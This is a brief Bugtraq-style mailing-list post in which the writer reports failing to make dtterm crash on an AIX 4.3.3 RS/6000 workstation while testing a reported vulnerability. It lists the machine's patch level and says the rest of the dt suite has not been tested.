For whatever reason, it seems that AIX may not be vulnerable. This test performed on a stinky old E30 133 MHz RS/6000, 512 MB "server" (more like a workstation now, and a wimpy one at that). But it's the only thing I could get my hands on to try this exploit(?) I was unable to get dtterm to segfault. This is AIX 4.3.3 with maintenance level of at least 6 applied, more likely 7 or 8. It's a uniprocessor box: lslpp -ha bos.up returns 4.3.3.26 applied & committed. Apologies to Bugtraqqers, I don't have time to try out the entire dt suite o' crap at the moment with the problems that have just cropped up.
